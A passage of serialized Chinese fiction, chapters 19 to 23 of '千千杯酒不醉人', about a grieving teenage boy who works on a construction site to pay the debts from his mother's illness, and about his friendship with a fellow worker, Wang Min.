回到干活的地方,他把水壶还给小王,但对刚才的事闭口不谈。还想再歇歇,但新的一车沙子又运了来,他看见小王起身过去了,就也紧随过去。整整一下午到晚上九点钟,他们卸了将近九车的沙子水泥袋。到小王说“下班了,可以走了”时,他的腰痛得都直不起来,肩膀带臂也是又沉又酸。他去取车子时,看到小王跟几个工友很轻松地聊着,便刹住脚等着他们到跟前时,抬头问:“王哥,明天早上是几点到?” “老郭没有告诉你吗?” “没······他就让我跟着你。”他觉得可能自己下午累得无力回应王哥的行为惹恼了王哥,小王才会这么半搭不理的。 小王伸出一只手臂来揽住载轩的脖子,贴近他的面跟他半开玩笑似的:“头一次来,要不要请哥哥喝顿酒呀?” 载轩没什么表情似的答话:“今天刚埋了我妈,下次行吗?” 小王的手臂慢慢放下去了,拉住了他的手,轻轻拍了拍,“干活不要那么拼命,会累病的。”又拉着他的手一起进了一层把边第二间宿舍里,下了工的工人们有的出去吃晚饭了,有的就在宿舍里用酒精炉子煮面吃,还有的仰面躺在床上正给家人打电话。小王拉着他坐在靠着墙内侧的一张下铺上,缓缓告诉他工地的规矩,老郭要求他的人早上六点必到的,工地上只管中午一餐饭,早上晚上只能自己解决,中午吃饭加休息两个小时,水壶自己带,但只有早上开工前、晚上下了工和中午休息时间可以去打水,其余时间没什么事不要老往老郭在的那间房跑。这几栋楼后面还有一组工棚,那是另外一只包工队的,没什么也不要去招惹他们······小王还告诉他,中午休息时可以来他这里和他挤挤,载轩道了谢,就辞了小王取车子回家去。 其实小王跟他多少有些“同是天涯沦落人”的意思。不到一米七的个头儿,这几年才慢慢圆润起来的四肢和手脚,有着在一堆年富力强的老工人面前还十分稚嫩的脸庞,长得快要盖住眼皮的头发,用一只黑色齿状的发箍都箍到脑后去,笑起来一边的嘴角咧上去,另一边却有些僵硬似的还停在原来的位置上,使得他的笑有点邪性有点流里流气。怪不得他,小时候他的父亲吸毒发了狂,摁住他的头往墙上砸,那一侧的脸撞得狠了,后来那一侧的肌肉始终不听使唤似的僵硬麻木。他初中没有念完就出来混工地了,辗辗转转已经走了好几处地方。有一次,见老工头欺负新人,他不平地站出来制止,豪义地把那个小家伙护在身后。结果被人家几个人揪住一顿揍,要不是路过的老郭阻止,险些开了瓢。后来小王,即王敏,就跟了老郭混,老郭的队伍在哪儿,他就在哪儿。小王听到载轩刚刚死了母亲,不由得心疼起眼前这个少年来,他想到这些年自己受的苦,也想到载轩可能要受的苦,一番沉重的忧思爬上了他的眉头。 载轩骑着车子一扭一扭地走上了回家的路途。正值夏日,晚上出来乘凉的人还不少在街上三三两两地散步,一弯半月在一片薄薄的白云里若隐若现,丝丝凉风迎面吹来,弄得流了汗的肌肤顿时痒麻麻的。他的影子在路灯的陪伴下,忽的变长又变短再变长,半个小时的车程,影子的长长短短变换了许多次,才驶达目的地。小区里月光下树木的黑影子,一丛丛一叠叠,隐隐绰绰的,引着他回去那个冷寂的家里去。 他已经好多天没有回家里睡了。那些天母亲在医院里,他有时候白天出去想办法,夜里不论几点都要回到住院楼里去,睡在母亲旁边的地上,他的心能放在肚子里安稳地睡着。只有那个雨夜,他一个人在淋着雨的路上走了那么久,一个人在最黑最黑的孤独里走了那么久,久到忘了时间,忘了自己刚刚受完的折磨。而现在,他和母亲都回到了熙苑小区那个八十多平方的家里,一起去面对属于自己的孤独。他感到可能难以忍受,黑夜里巨大的孤独紧裹着他,可他疲乏的双眼使他意识到自己该去躺在母亲那张大床上休息了。 他自己的那张一米二的木床,早已在之前卖给了光明小学后面一栋家属楼里的租户,卖了120块。那张自己的小床,是从他上小学时就与妈妈分开睡觉的伙伴,伴了自己八九年了,上面每一处都留有他的气息,可他不得不卖掉。母亲卧室里的大床,他平时很少上去睡,母亲的床单总是铺得十分平整,他没有洗脸洗脚的情况下,母亲总不允许他爬到上面去揉皱它。上次变卖家具家电,他也犹豫过,最后卖掉了自己的小床,留下了母亲的大床,他想,如果妈妈好一些了,回家来他还可以依偎在母亲身侧,挤在一张床上休息。 他进到家里来,没有开灯。身上仅剩的五十多块钱,要维持到他开工资的那一天,他不知道怎么硬撑下去,但只能是能省一点是一点。中午走之前他在厨房 19. 锁心 四 《千千杯酒不醉人》全本免费阅读 四 昨天谭阿姨给载轩打了好几个电话,他把手机设了静音,一个也没有接听,晚上回去,看到谭阿姨发的信息:“听说你母亲的事了,节哀顺变,有什么需要帮忙的给阿姨打电话。”他没有回,把短信删掉了。 上次他去过谭阿姨家后,也些许明白了,任何感情在钱面前都是苍白无力的。包括他对母亲的感情,即使他有一千万个要救母亲的信念,也会被残酷的现实打败。只不过是迟一天早一天的事。 他也曾对照现实回想谭阿姨和杜明对他说的话,人家真的是在为他好,没有一点要害他的意思,可他却言辞那么激烈地回应人家。他后悔吗?他有些遗憾,从小长大的好朋友最终成为路人,成为两个世界的人。他不想再去麻烦谭阿姨他们,也不想自己再成为一个麻烦连累无辜的人,所以他最后宁可跪着去求王石,也不愿再去找母亲的好朋友、自己的好朋友帮忙,他知道他们一定会帮他,但是这笔人情怎么算怎么还呢? 赶到工地,还差两三分钟到六点,简易板房前,工人们按小组排了队等着点名。他还把车子锁在昨天那个地方,尽量不起眼的铁窗档子旁边。用眼睛四下搜寻着小王,小王却在老郭屋子里听训。 不大一会儿,小王拿着花名册出来,开始点名。他嗓子宽,这几年走过的地方也多,说话方言味不重,大家都听得懂。要是老郭来点名,要闹些笑话的,他一读“王敏”便读成“忘命”,把“张小龙”读成“沾小农”,里面夹带着浓厚的鼻音,弄得这些四面八方来挣命的人大笑不已,往往点了名的没有喊到,就被别人听岔了误以为是在喊自己,那时好几个“到”让老郭抓耳挠腮、苦恼不已。小王跟着他以后,就把点名的事兜揽了过来,早上开工的进度也提早了。 这百十号人的名字点完,小王在最后喊了“林载轩”,他喑哑地喊了一声“到”。 “到!”林载轩以前在学校最喜欢老师喊他的名字,每次点名,他总是清清脆脆地亮一嗓子。他是老师眼中乖巧聪明的学生,上了一中后,那么多家境颇好的学生聚集在一个班里头,载轩虽不突出,可有种劲头让人说不清道不明的喜欢,是一股子倔劲儿,但又不全是。班里组篮球队时,身高不突出的他,跟杜明一起向班主任何老师申请要加入。杜明的爸爸妈妈身高都不错,可杜明却和载轩一样都不到一米六,何老师看了有些为难,让他们为班里的大个子们让让步。杜明向何老师下军令状:“让我们跟他们打一场,球赛又不一定要高才有赢的机会。”何老师看着他俩那么坚定,就让他们体育课上进行一场比赛。赛场上他们俩加上周晓东三个人对阵班里三个一米七多的大个子,一度战况激烈,他们仨处于下风,杜明抢到篮板回身给了载轩,载轩左冲右突,在对方俩人的夹击下猛一过身右勾手向篮筐里投去,正正一个空心投进去了。但他却因用力过猛,身体重重摔在地上,从右肩到右腿都蹭得一身土,站起身后右腿一拐一拐的,仍坚持着向了杜明他们跑去。那一场打得激烈,连体育老师站在场边连连叫好,那些班里的小女生们不停尖叫着加油。下场后,何老师拍拍他的肩:“好小子,不错嘛!”同意了他和杜明都加入篮球队。曾经为了加强力量训练,他和杜明初一时,就是杜明还没有搬走前,俩人天天五点半就早起出去沿着光明路跑到荥水大街再从岩熙路转过北水街跑回来,差不多五公里,跑了两个多月,俩人长高了,饭量也大了许多,载轩回家能干两大碗米饭。何老师喜欢他,让他做了数学课代表。后头选拔班干部,原本载轩不愿出头,被杜明以不记名投票的方式投了上去,成了候选人之一。班里投票选班干部的时候,每个候选人要先向全班人说明自己希望的所任职务和达成目标,载轩那天穿着一件白色T恤,胸前有一行兰色写得十分飘逸的英文字母“young and beautiful”,站在讲台上没有像别的同学那样慷慨陈词,而是徐徐地叙说了自己的愿景。“无人扶我青云志,我自踏雪至山巅。”是他话里的最后一句,也是何老师最欣赏他的一句话。同学们最后推他成了班里的副班长,主管班级卫生纪律检查。他兢兢业业地做自己的事,有了荣誉他也不争不抢,那么谦和又那么有韧劲。“林载轩”这个姓名被叫了多少次,他都是那么响响亮亮、清脆地回答。 点完名后,他拿了水壶打了热水,跟着小王继续到昨天上工的地方开干。整整一上午,他还是少言寡语,干活时那么拼命、那么卖力,也许只有这样,才能在体力的巨大消耗下避免胡思乱想。 到了中午吃饭时,小王携了他一起去后面的工棚前领盒饭。小王高他两寸,像个大哥哥似的,一只手像昨天那样揽了他的肩,另只手拿了盒饭先递给载轩,又伸手取了一盒端着,俩人准备折回宿舍再吃,走到他们上工的地方时,载轩站定,跟小王说:“我就在这儿吧,不去打扰你休息了。”也没等小王答话,脱了小王的手臂独自靠着一处阴凉,坐在地下打开盒饭,分拨出一次性木筷。 “走吧,一会儿躺一下歇歇。”小王走到他跟前,蹲下身劝他。 载轩边吃着,边低声回答:“不了,这里挺好。” 几个小王同宿舍的工友走过来,用异样的眼神看独自坐在阴凉处吃饭的载轩,叫了小王一起走。工地上汇集了各个地方来挣命的人,不乏苦命人,可也不乏对他人身世的好奇和探听。宿舍里,几个人便用不同口音向小王打听起来。 载轩不关心他们怎么议论他,也不想关心。这段时间以来,受到的非议从来没有停过。医院里,小区里,就连变卖物品的时候,什么样的声音都有。最常见的无非是对他父亲身份的揣测,对母亲病情的唏嘘,对他前途的可惜。之前他听到一些不堪的议论,也会恼怒,也会在心里暗暗地骂,却很少回嘴。后来,他无暇顾及这些,母亲的病越来越重,他因为钱越来越焦急,即便听到也就置之不理。可就当他真的知道自己就是人们口中的野种时,是那么刺耳,心里仿佛长了一根刺,时不时地痛一下。 盒饭里是一层米饭上盖浇着红烧肉、西红柿炒蛋和炒青菜,是他这么多天里吃得最好的一顿,但他明明肚子里饿的发空,塞到嘴里的饭菜却没有味道似的,只是靠僵硬的进食动作完成一项任务。小时候他很怕母亲做红烧肉,他顶不爱吃红肉上面那层连带着猪皮厚厚的肥肉,尽管妈妈烧得红辣可口,他也只愿咬了红肉很有滋味地吃起来,可剩下的那部分怎么办呢? 20. 锁心 五 《千千杯酒不醉人》全本免费阅读 五 接连几天,载轩都早上准时到了工地,和小王他们卖力地干活,在尘土飞扬的工地里,戴着红色安全帽,热得一头一脸汗,晒得露出的皮肤红黑红黑的,挥洒着自己无尽的气力和汗水。 谭阿姨又打了一次电话,手机丢在家里并没有人接听,跑到家里去找发现也没有人。杜明给他发过一次短信,询问他怎么样,他删掉了假装没有收到。他不需要人关心,至少暂时不要他们这些幸福的人再去刺激他。 他一直也没有去过小王的宿舍里午休,他不想麻烦到别人。小王看到他的样子,也不再去主动招逗他。 但这天,天热极了,上了三十度。火辣的阳光到了十点钟就已经晒得人汗水直淌,载轩的头发捂在安全帽里早已湿透,汗就顺着耳际一条条淌下来,再流到脖颈上。他们这几天转到了另一栋小高层里往地上浇水泥,快要封顶的这栋楼,地面上早有工人盘好了各种管子、地暖,需要工人提着一桶桶搅拌好的水泥,一层层地灌注到指定高度。小王和载轩转移到了新的阵地,在楼里来来回回地搬运浇灌,要比背沙子重一些,但好在楼里,没有那么酷热。工地上赶早开工,中午让大家多休息一小时,晚上迟下一小时。 到了下午开工后不多时,载轩每次抬不动满满一桶水泥,就提多半桶,正摇摇晃晃地提着一桶水泥往二楼抬去,他就觉着自己体力不支似的,头晕的厉害,靠着水泥台阶站着缓了几口气。感觉好一些了,刚要迈步上台阶,就啪地一声跪倒在台阶上,还好另一只手帮着扶住了灌了水泥的手提桶,要不然就都铺撒了自己一身。他费力站起身,左膝盖磕在坚硬的台阶棱上已经磕破了,裤子上洇出了一小块血,又硬撑着把桶提到了二楼,浇注完才坐在台阶上看自己的伤势,手上脏的不像话,他也不敢用手去碰。正喘着气,嘴里尝到一股甜腻的铁锈味,他一开始以为是汗流到嘴边也没有去管,此刻用手背一抹,全是鲜红的血。他提着桶跑到还流着细水流的水管子前,那水正往一堆水泥沙子中间的小坑里聚集,他捧了水去洗自己的鼻子,洗了好几把,还是鲜红的血一股一股往下流,怎么也洗不净。他以前也到天热的时候流鼻血,母亲总会让他抬起头,用凉水拍了脑门,卫生纸卷成一个个小拇指粗的小棒塞了鼻孔,塞过几个后,那血色就一点点变淡,最后完全不流了。母亲也总在他流完鼻血后叮嘱他:“要多喝水,才不会上火流鼻血。今天晚上睡觉前必须喝满两大杯水才可以上床!”听完这样的命令,他便使劲儿喝水,结果一晚上尿胀好几次去上厕所。此刻他没有卫生纸,就学着以前的样子,抬起头,用凉水拍脑门。但血还是滴滴落到他的半袖上,他干脆拿起了水管子,卸下安全帽,从头顶把凉水浇下去,一股股淡红色的水流就自上而下流下去。小王和另一个工友看见了,紧跑两步过来,一把抢过了水管子,拿腰间的一块毛巾按在了载轩的鼻子上,另一位工友也卸下腰间汗臭的毛巾,用一把粗糙皲裂的大手给载轩擦头上的凉水。 “把两只手都举起来!”小王也着急地说,看到他两个鼻孔还在往外流着,那块毛巾上已经有了一片殷红的血迹,像一朵娇艳的牡丹似的喷吐着鲜艳。 载轩听话举起了两只手臂,另外那位工友用凉水洗了毛巾,敷在他的脑门上。过了一会儿,才慢慢止住。可他的脸变得煞白,暴起皮的嘴唇也没了血色,小王让他坐在地上歇着,还厉声训他:“早就告诉过你,不要蛮力干不要蛮力干,当自己铁人吗?”说完去干活了,不再理会他。 晚上下工的时候,小王跟几个工友有说有笑地走在前面,载轩跟在后头,准备去取车子。到了宿舍前面,小王刹住脚转过身,一把扯住载轩的左胳膊,拉着他进了宿舍,那几位工友也跟着进了来。下午他的腿受了伤,提着水泥桶的脚步左右晃,动作看着也是十分吃力,可仍然一下都没有停,直干到下工才一瘸一瘸地跟着大家出来。 小王看得出来,他以前没怎么做过苦力,但人倔得很,又不肯跟他躺在一铺上休息,中午就蜷在干活的地方展展腰,受了伤也不会偷着空去歇着。太过要强的人,注定不太会心疼自己。 小王把他拉到一张下铺坐下,去老郭的屋子里取了医药箱来,蹲在他身下,卷起他的裤腿子。他的左膝盖已经破皮红肿起来,右膝盖是一大片淤青。小王先用棉棒蘸了酒精去擦洗伤口,酒精一触到伤处,他就疼得嘶嘶吸气,小王听到他痛,动作也更轻柔了,小心地消着毒。一片创可贴贴不住他的伤口,小王用剪刀剪了一段纱布,折成一个小方块,又拧开一个褐色小玻璃瓶倒出一些粉末在纱布上,贴在他的膝盖上。“这是云南白药,敷一点很管用,几天就不痛了。”小王心疼地说,用眼觑了载轩,拿出半瓶子红花油,往手心里倒出一些,替他搓揉着右膝盖淤青的地方。小王温热的手心画着圈在他膝盖上一圈一圈柔柔地搓着,载轩干涸了的眼眶活了过来。 载轩想起了那个雨夜里的大叔,那个大叔不嫌弃他浑身水淋淋的会弄脏他的座椅,反而很轻柔地喂他喝热水取暖,还不住地安慰他:“不要想不开,天底下没有过不去的难关。”这几天他假装自己没关系,假装自己撑得住,假装自己不难过,但在这一刻,胸腔里仿佛又溢满了盛大的难以承受的委屈。 小王蹲在他的身下,很轻柔地给他处理伤口上药,这温暖的举动像是导火线似的,点燃了载轩胸腔那份巨大的快要撑破的委屈,他的眼泪决了堤似的涌着,他用两手捂了脸小声地呜咽着。 小王被他这一哭,弄得也心酸的很,想起了自己,站起身把载轩揽进了自己怀里,载轩捂着脸趴在小王的肚子上,哭得那么痛又那么克制,双肩不住地上下抖动,紧咬着嘴唇尽量不想让自己发出声音来。 宿舍里其他人也安静下来,听着载轩那令人心碎的哭泣声一阵紧似一阵,小王没有说什么话。每个人都有辛酸的过往,在这个雄性荷尔蒙爆棚的工地里,谁也不愿自己展露出脆弱的、难过的一面来,可听到这一阵阵的哭声,就又都想起了自己的那些痛心之处,脸上都哀哀的了。 载轩哭了许久,直到外出吃饭的工友们都回来,看到他们各自躺在床铺上,不言不语的,小王搂着载轩坐在当中间的一铺上,载轩脸还埋在小王的胸膛里,小王的衣服一块干一块湿的,让载轩揉得皱巴巴 21. 锁心 六 《千千杯酒不醉人》全本免费阅读 六 进了伏天,天气更火热了,偶尔的一场雷阵雨只能消除一点暑气,不久又被炎热替代,人们的心也更燥热难耐了。到了下午,就听得到荥水河里一片片的蛙鸣,“呱呱,呱······”叫的人心烦意乱。 御河湾这片工地离河湾近,蚊子多得很,载轩本身皮肤白很惹咬,连日来被胳膊上、腿上叮了好多大包,痒起来的时候难受得很,尤其是背上,抓又抓不到,他也不假装斯文了,在粗糙的墙面上使劲儿蹭,好解痒。小王看到了会笑他,他就腼腆地红了脸,走开了。到了中午休息时候,俩人并排躺在小王那张下铺上,小王说:“把上衣脱了,我给你抹一些风油精。” 载轩以前很怕闻风油精的味道,觉得辛辣得呛鼻子,母亲会在他出去玩的时候,给他手腕、脚腕处抹一圈风油精,好让他避免被蚊子咬得太狠,他一闻到那味道,便喊:“风油精妖怪来了,啊,呕呕!”还用手扇来扇去。回了家,腿上胳膊上被咬了很大很肿的包,母亲就会边笑边拿出炉甘石,给他涂得一片白一片白的,像是白颜料不均匀地撒在了身体上。 现在他有些害羞地脱了上衣,露出光光的瘦凌凌的脊背来,小王打趣他:“都是一帮老爷们,你害羞个什么!” 六月底那天工地里分发绿豆汤解暑,小王因帮着老郭整理六月份工友出勤,就让载轩跟着别人先去领饭。载轩跟在几个大叔后面,他正低着头,用一只手挡着眼前的大太阳,快到工棚那儿的时候,另一队包工队的两个小伙子打打闹闹,不小心撞到了载轩,载轩有些没站稳,被往前推了好几步,一行队伍正在旁边打免费的绿豆汤喝,队伍里看到的人恰巧躲开了,他的后背却正好撞到保温铁桶前的人,害得人家半杯绿豆汤淋淋漓漓地洒了一身。那个满脸横肉的四十上下的男人一转身给了载轩一个耳光,载轩压根没有料到,一巴掌扇得他差点坐到地上去,是他一手伸进汤桶扒住边沿才站住的。那是一桶还没几个人打过的还很满的绿豆汤,他半只手差不多都伸了进去。顿时看到的人就嚷嚷起来,各种难听的话都骂了出来,“小瘪三,不长眼睛吗?”“妈的,赔我们好好的一锅汤!” 发生这件事的时候,他前面的几个工友都走到领饭那里去了,没有看到到底怎么回事,那两个撞他的小伙子也早就跑开了。载轩带着红色安全帽,一头一脸的汗,站在那儿百口莫辩,骂的几乎都是另个包工队的人。不一会儿,那支包工队的头儿大步流星走过来:“怎么回事?”周围的七嘴八舌头地,说是载轩把手伸进汤桶里,不让大家喝汤。 有人跑去告诉了小王和老郭,老郭也就紧随了来。过来的时候,看见那个四十上下、满脸横肉的男人和几个工友把小鸡雏似的载轩推来搡去,嚷嚷着要他赔汤。老郭一把把载轩捞了出来,小王也拨开人群,站在了载轩身前,用手护着他。 “怎么的,老郭,你的人把手伸到汤桶里了呢!”对方工头有些不高兴地责问道。 “林载轩,过来。”老郭一手揪了他的耳朵,一手指着他额头问道,“你干啥把手伸那里头?” “他······他打了我一耳光,我······我没站稳,我,我不是故意的。”载轩有些害怕,指着那位满脸横肉的大叔支支吾吾地回答。 的确,明眼人都看到了载轩右脸上偌大的五指印,犹自还有些发红。 “你的人打了我的人,那怎么算?”老郭很有底气地问,一手放了载轩的耳朵,那只耳朵也通红的了。 “你干啥打人啊?” “他他妈的不长眼地撞了我,你看看,洒了我一身汤,晦气!”那时四十左右的打人者很不平地说。 “你咋就撞了他?走路还不稳当的哩,就不要出来混!”对方工头斜着眼瞅着载轩骂到。 “管好你的人!”对方工头又看了眼汤桶,冲老郭啐了 22. 锁心 七 《千千杯酒不醉人》全本免费阅读 七 “人生很苦呢!”载轩背对着小王,双腿蜷缩,两手抱紧双肩,侧卧在母亲那张大床上,很伤感地说道。 王敏没有说话,仰面躺在载轩旁边,叹了一口气。 月色照进了三楼的窗子,银白的光倾洒在两个人的身上,照得他们光着的腿和胳膊都闪着白色的光辉。两个人就静静地躺在床上,床尾地下是装着载轩母亲那焚满了罪孽而无奈的一生的骨灰坛,大肚圆坛也在月光下显出一侧悠悠的光泽来。 载轩在工地上已经做了两个多月,很多活都已熟能生巧,知道和水泥要几袋沙子几袋生石灰多少水,知道背重物如何才能更省力气,也知道了砖块如何砌才又齐整又抗风,知道了很多以前课本上和课外书上没有教过的知识。他从人们的言谈中就学到了好多关于建房造屋的内容,也从工友的闲聊中探听了无数人间的悲离殇别。王敏算是他的师傅,把他带领进工地那片粗犷而又百态的社会练兵场,既教会了其知识,也锻炼了其意志。 记得以前,载轩家的学区在九中,母亲怕他被不三不四的人纠缠而学坏,特意费了人情将他花钱办进荥州一中,他和杜明又在一个班。那么要好的两个小伙伴,从穿开裆裤到携手抢篮板打球赛的十多年的友情,因载轩母亲的意外病故,渐行渐远,终难复见。母亲若是活着看到眼前的载轩,会失望吧? 载轩不知道,他回想到从前,想到林大安,想到母亲林芳清,他们的名字寓意那么好,但结局却那么不尽人意。姥爷想要安顺平和地过一生,最终却家破人亡、悲惨死去;母亲自恃孤傲,却流落风尘,委人身下,做了程建的情妇,哪里来的芬芳和清白呢?徒然留下他这么个孽障来这世上受苦,自己不被人承认,不被人看重,为了钱几次三番下跪求人,遭遇鞭笞和屈辱······想到这些,他忽然觉得人生的真谛是什么呢?是求而不得,是得而不惜,是想要的得不到,是无数遗憾和悲哀组成的交响曲,是一个人裹挟在碌碌一生里的茫然前行。 那天下午下了一场大雨,雨把工地浇得透透的,地上一条条黄浊的小溪汇成了河,缓缓地淙淙往地势低的荥水南岸流去。工地上人们都窝在宿舍里打牌、闲聊,雨势阻拦了载轩回家的脚步,他被留在王敏铺上,安静地休息。那天下午他睡得那么香甜,是他这么多天以来睡得最满足的一次。疲乏完全淹没了他的哀痛,在人们的嘈杂声里,在噼啪的雨声里,他第一次什么也没有想,什么也没有梦到,像小婴儿一样乖巧地安睡了一下午。到了晚上雨停了,大家都一伙一伙地出去吃饭散步,享受暑伏天里难得的凉爽。王敏买来了两瓶啤酒和一包花生米,和载轩坐在北环桥下的台阶上,一人一瓶,落寞地对饮着。载轩不愿提起自己的故事,王敏从来也不会强迫他,说得更多的是自己。谈起自己的过去,王敏释怀得多。 “你知道吗?我从小就见我妈带一个又一个男人回家来,她很风流的。但她的那点风流是被迫的,我爸好吃懒做,脾气又坏,没有钱就打我妈,打我和我妹。”王敏拿起绿色的啤酒瓶来对着嘴喝了一大口泛着泡沫的液体,“我和我妹是双胞胎,但却长得不太像,我像我妈,小眼睛小鼻子,我妹却是长眉大眼的。别人都说,我妈同时和好几个男人交合,才有了我和我妹两个长得不像的双胞胎兄妹。”说完,王敏咯咯咯地笑了几声,又吞咽了几大口啤酒。 载轩侧着脸,用支在膝盖上的左手托着脑袋,听王敏说完,也小口啜饮着瓶子里并不好喝的液体。母亲从不许他喝酒,哪怕是那种带一点点酒精的“小木屋”饮料也不行。可是前年的那个大年夜里,那会儿载轩正上六年级,母亲刚费了心血帮载轩搞到一个进入荥州一中的名额。那个大年夜里,母亲却启了一瓶精致的红酒,标签上全是英文字母,载轩用字典一个单词一个单词地查阅完,知道那是一瓶澳大利亚进口的红葡萄酒,酒的名称是“遗忘所爱”。母亲取出两个晶莹剔透的高脚杯,一杯倒了酒,一杯给载轩只倒了半杯可乐。两个人在鞭炮齐鸣的喧闹的大年夜里对饮着。载轩很羡慕杜明家过年,一到年节,谭阿姨和杜叔叔会带他回爷爷奶奶家和姥姥姥爷家轮流过年,然后依次是大姑家、二叔家、大姨家、舅舅们家里拜年,能拿到许多压岁钱和红包,过年的新衣都不知道有几身。而载轩家冷清得多,母亲自姥爷去世后,与老家断了来往,每逢过年,俩人相较别人家的异常热闹和忙碌就显得有些孤寂起来。而那个大年夜,母亲破天荒地许他尝一口自己杯子里的红酒,他小心地呡了一口,又涩又苦的滋味夹着少许葡萄的清香令他望而却步。 这就是酒吗?令许多人沉迷其中的可以麻痹自己的酒吗? 载轩侧着脸看着王敏,在路灯下,王敏那一侧僵硬的脸部肌肉像是一块蜡一样,没有跟着王敏的讲述一上一下地扯动,而另一侧的脸是那么生动地展现了这个二十来岁的青年不该有的勘破尘世。 “我母亲要是活着,看到我喝酒会打我的。”载轩用右手摇晃着绿色的啤酒瓶,盯着里面的液体来回晃动起泡,随口接了一句。 “你母亲是为什么死的?”王敏嚼着花生米,也侧过脸来问载轩。 载轩放下支着的手臂,把啤酒瓶搁到旁边的台阶下,两个后肘撑到后面的台阶上,后仰着身子,仰面望澄澈的夜空,眼神迷离而哀怨,沉了半响,才说:“她得了尿毒症,我没有救活她。” “你又不是医生,你哪有什么法子?”王敏也学着载轩的样子,一起抬头看天空,“是因为这个才出来打工的吗?” “为了救她,我欠了好多钱。我得把债还掉。” “那······你爸呢?”王敏犹豫了一会儿才开口问道。刚开始他也问过载轩这个问题,载轩说过他死了,可王敏不太信。从那以后,王敏也知道这是他的隐痛,也便不问了。今天开口,也是心里犹豫了好久。 “他死了,跟你妈一样,我就当他死了。”载轩保持着刚才的姿势,眼神有些哀怨,语调也已经有了点哭腔了。 载轩这么多天以来第一次提起父亲,他没有像以前那样回答。从小到大,有很多人问过载轩这个问题“你爸呢?”母亲并没有教过他怎么说,可他很小就学会察言观色,母亲通常和别人解释:“载轩爸爸在他出生前就走了。”然后用爱怜的目光看着怀中的载轩,就能击退百分之九十的好奇者。后来等别人来向载轩探寻的时候,载轩也会平静地回答:“爸爸在我出生前就走了。”这个走是抛下他们母子俩一走了之呢,还是意外去世呢,并不要紧。要紧的是载轩很小就明白这是个秘密,对母亲对自己而言都应该是个秘密,把它放在心底里不要轻易拿出来。然后有一次,面对一个小区里的不怀好意的孩子们,他们齐声喊他“野种,野种”的时候,载轩还是哭着跑回家,几天都不敢再出门去。母亲知道了这件事,去找了这几个孩子的家长说理。当然有的明事理,道了歉表示会管教好孩子;有的则与母亲对骂起来,其话语要比骂载轩的话难听得多,母亲唯一一次动起手来,结果被带到派出所,是谭阿姨让杜明爸爸去做的和解。面对没有父亲这一事实,载轩从小承受了许多,不管是真是假,后来也就学会放下这些闲言碎语,只要有母亲与他相依为命就知足了。人,难得知足。看完母亲的日记,他的内心有了答案,反而比没有答案更加慌乱和无措,是那种被他人藐视的眼光所确认的失望,是想要低到尘埃里去的自卑和自轻。但当时,迫于急切地想要借到钱而那么鲁莽的行动,并没有注意到自己内心的波涛巨浪,那浪被那个雨夜彻底地磨平了,成了一汪死水,一汪绝望的死水。 王敏知道不便再问下去,举起酒瓶来,说:“来,干杯,敬我们相遇!” 载轩也举起瓶子来,俩人轻轻碰了一下,发出“砰”一声脆响,各自吞下属于自己的苦水。 是夜,载轩本来要骑车子 23. 锁心 八 《千千杯酒不醉人》全本免费阅读 意外发生在载轩生日后一周,八月十五中秋节那天。 进入九月,天高气爽,没有了夏日的溽热,周围的空气都凉爽起来,热闹的街道上流动着的是各种瓜果的芳香,西瓜的甜腻、苹果的甜酸、成熟的梨果味、葡萄的酒芬、桔子的酸柠······载轩有时候会在晚上回来的路上从小摊儿那儿捡到一些烂掉一个洞的苹果或是梨子,那算是他的夜晚加餐。这几天一早一晚凉得很,尤其是骑车子大清早走的时候,他会披个厚实的外套,套条秋裤在里面,去了王敏宿舍再脱掉,不然干起活来,汗水浸湿了风一撩更易感冒。 御河湾这个小区的开发商想着在明年六月交房,就赶着各个施工队加快进度,尤其是还有两三栋楼没有封顶,这几天就催着他们包工队的人合在一起干活,加紧封顶速度。 中秋节这天,按照以往惯例是要放假一天的,但是工程赶得紧,几个包工头子约定好,那天晚上早些收工,请大家伙在最近的金湾酒店好好吃一顿。 对于载轩而言,失去了母亲,没有一个节日是值得庆祝的。母亲仙逝于六月三日,农历的四月廿一,而八月十一是母亲的百天忌日。那天载轩回了家,他身上早没有一文钱了,没有钱买纸币冥币。他早在一个月前就开始准备,每晚回家后,用细细的小狼毫写了蝇头楷字,总共抄了100遍金刚经,每天夜里总抄到十二点多,第二天起来两个大乌青眼塘子好像是被人打过一样。中午在王敏那里补觉,工友们呜哩哇啦的谈话声也叫不醒他,直到王敏来推他,才恋恋不舍地起身,仍睡眼迷蒙地打哈欠。王敏笑着打趣他:“老实交代,晚上去哪里野了?眼睛跟熊猫一样。” 载轩揉揉疲乏的睡眼,苦笑着没有回答,赶紧爬起身,跟着王敏往那几栋没有封顶的楼栋跑。 八月十一那天回家后,载轩跪在母亲的骨灰前,把那些蝇头楷字抄写的金刚经当做是祭奠母亲的供品,燃了三支短香。载轩很多次想要跟母亲倾诉,但每次一跪到那个酱黑色大肚圆坛前,就噤了声,什么话也说不出来。 即使是跟王敏,他的话也很有限,默默干活的时候多,开口聊天的时候少得可怜,他的喉头仿佛哑掉了。有时候王敏看他一个人发呆,眼睛定定地无助地看着一处动也不动时,会跑过去猛拍肩膀吓他一跳,这时候,载轩就会被吓得猛地捂着胸口,一叠声说着:“哥哥,别吓我。我禁不得你吓唬。”王敏再坐到他身旁,问他想什么时,他总摇摇头,回:“没什么。”王敏就会像个老练的大人似的劝慰道:“不要回头看,后悔不值得的。” 后悔吗?他总想到这个问题。谭阿姨跟他说过,“你也要为自己考虑考虑了。你母亲这样是在受罪······”杜明也跟他说过,“你母亲不希望看到你这样做的,如果她走了你怎么办呢,背着一身债务,这辈子就毁了。”他把这些话像老牛吃草那样反刍了好多回,一遍遍咀嚼,一遍遍体味,想要得到一个答案,应该吗?值得吗?后悔吗? 他还没有想出答案。他跪在母亲的遗像前,注视着那张很漂亮的人像。那张照片是在载轩七八岁时,母亲在荥州市少儿艺术中心代课时,学校为了进行宣传,要求张贴代课老师肖像照片及简介,母亲特意为此去影楼拍的。当时化妆师为母亲化了淡雅的妆容,母亲那淡淡的眉描得长且黑,更显出眼神的澄澈刚毅,一双杏核眼闪着波光,一头微黄微卷的长发在脑后梳成了很知性的团髻,上面插着一朵酒杯大的红色郁金香,前面的头发呈波浪似的油光水滑地一并并到团髻上去,上面还撒了金粉,母亲端坐在镜头前,典雅端庄。载轩很想一辈子把母亲留在那个美丽的画面里,而不是最后见到的那颗形容枯槁的头颅。那次母亲一共留了三张照片,其中只有这张黑白的被母亲拿去放大,张贴在少儿艺术中心二楼琴房的墙壁上。母亲说,只有这张黑白艺术照才不显得那么张扬。现在这张九寸的原版照片,被载轩剪掉多余的边条塞进了一个七寸相框里,搁在骨灰坛后当做遗照来供奉。他望着母亲那张姣好的面容